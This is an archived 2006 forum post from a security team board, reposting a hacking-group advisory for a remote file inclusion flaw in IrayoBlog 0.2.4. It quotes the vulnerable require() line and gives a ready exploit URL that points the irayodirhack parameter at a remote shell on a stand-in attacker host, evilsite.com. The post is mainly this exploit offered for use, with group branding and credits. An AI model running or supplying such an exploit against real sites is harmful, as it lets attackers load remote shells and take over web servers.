邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2006-11-12 12:41

IrayoBlog 0.2.4 (inc/irayofuncs.php) Remote File Include Vulnerability

[code]
*********************************************************************************************************
                               [url]WwW.Deltahacking.NeT[/url] (Priv8  Site)
                               [url]WwW.Deltahacking.Ir[/url]   (Public Site)
**********************************************************************************************************

* Portal Name :irayoblog-alpha-0.2.4

* Class = Remote File Inclusion ;

* Download =http://ovh.dl.sourceforge.net/sourceforge/irayoblog/irayoblog-alpha-0.2.4.tar.gz

* Found by = Dr.Pantagon ([email]rezayavari2006@yahoo.com[/email])

----------------------------------------------------------------------------------------------------------
- Vulnerable Code

   require($irayodirhack."/inc/configdefaults.php");

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:


   http://[target]/[path]/inc/irayofuncs.php?irayodirhack=http://evilsite.com/shell?



----------------------------------------------------------------------------------------------------------

Special Thanks :  Dr.Trojan , Hiv++ , D_7j , Lord
Special Thanks To Best My Friend : Tanha

**********************************************************************************************************


[/code]

页: [1]
© 1999-2008 EvilOctal Security Team